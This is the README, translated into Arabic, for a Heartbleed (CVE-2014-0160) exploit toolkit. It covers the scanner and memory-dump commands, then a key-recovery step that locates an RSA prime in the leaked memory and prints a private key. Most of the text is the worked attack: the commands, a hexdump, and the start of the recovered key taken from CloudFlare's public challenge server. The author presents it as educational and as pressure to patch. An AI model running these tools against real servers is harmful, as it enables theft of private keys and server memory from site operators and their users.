
OpenSSL Heartbleed (CVE-2014-0160) أداة مسح الثغرة الأمنية، ومنقب بيانات، وأدوات استعادة مفتاح RSA.
المؤلف: Einar Otto Stangvik / @einaros / https://hacking.ventures
بما أن السر قد أصبح معروفًا منذ فترة طويلة، وبدأ الآخرون في نشر أدواتهم، فأنا أنشر أدواتي أيضًا. آمل أن يزيد هذا الضغط على أولئك الذين لم يقوموا بعد بتصحيح أو ترقية خوادمهم. قد يجد الآخرون هذه الأدوات ذات قيمة تعليمية.
على عكس العديد من أدوات إثبات المفهوم الأخرى لـ Heartbleed، ستوفر هذه الأداة معظم التشفيرات الممكنة في حزمة ClientHello الأولية. أي تشفير يختاره الخادم سيتم استخدامه لجميع حزم ClientHello اللاحقة في جلسة التفريغ. من شأن ذلك ضمان الكشف السليم عن الثغرة، بالإضافة إلى تقليل الحمل الزائد بمجرد العثور على تشفير.
استخدم هذه الأدوات كما تشاء، لكن أسدي لنا جميعًا معروفًا: حل المشاكل بدلاً من خلقها.
مستوحى من أعمال ومنشورات كل من:
هنا نرى استرداد أحد الأعداد الأولية لـ RSA من تحدي CloudFlare 34 مرة في دقيقة واحدة. وهذا يعادل الحصول على المفتاح الخاص بالكامل 34 مرة في دقيقة واحدة.

# Test vulnerability using unobtrusive mode
# This will request N bytes, but supply N-1 itself, so that the server will
# only actually bleed a single byte if vulnerable. Suggested N is 16360 in this
# case, since that will result in a single TLS record:
# 3 + 2 + 1 + 2 + 16360 + 16 bytes = 0xFFFF.
$ ./hb.py -u -n 16360 -p 443 www.example.int
www.example.int:443 is vulnerable
# Dupm data from CloudFlare's old challenge server
$ ./hb.py -p 443 www.cloudflarechallenge.com -n 0xF000 -l 100 -t 50 -d -o cloudflare-dump.bin
[2014/04/14 10:55:48] Incoming data rate: 85877 kbps
... runs for a while
# Look for prime in the dump
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin
Key size: 128
Data length: 173476834
cloudflare-dump.bin Offset 0xf155ec: p = 13827796798740740191625032142481917804987720337701...
# Extract key once found
$ ./keyscan.py cloudflare.crt cloudflare-dump.bin 0xf155ec
Prime should be at offset: f155ec
Key size: 128
Hexdump of surrounding data:
f151ec: D0 00 00 00 00 00 00 00 00 00 00 00 00 00 30 C0 ..............0.
f151fc: 3C 01 00 00 00 00 00 00 00 00 00 00 00 00 90 8B <...............
f1520c: D0 00 00 00 00 00 02 00 C3 A3 4D 08 48 47 00 00 ..........M.HG..
...
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAm0AWkVnDx5feOctdC97Ztgvtd25uKKmhjCHpLycmExe1RiRSl/hGIL7f8Fg/
qiUztVm5uXZJ1UG7dzz+9OtTNh+v27BtzPsU3yivHevwAB1mTMtP6bPuXBjzsxRcC9yVcBBWpKBM
...
لا يستطيع المؤلف ولن يحتفظ بأي حق في أي جزء من هذه الحزمة. تعتمد على أفكار مفتوحة، وستبقى مفتوحة بقدر ما يهمه الأمر.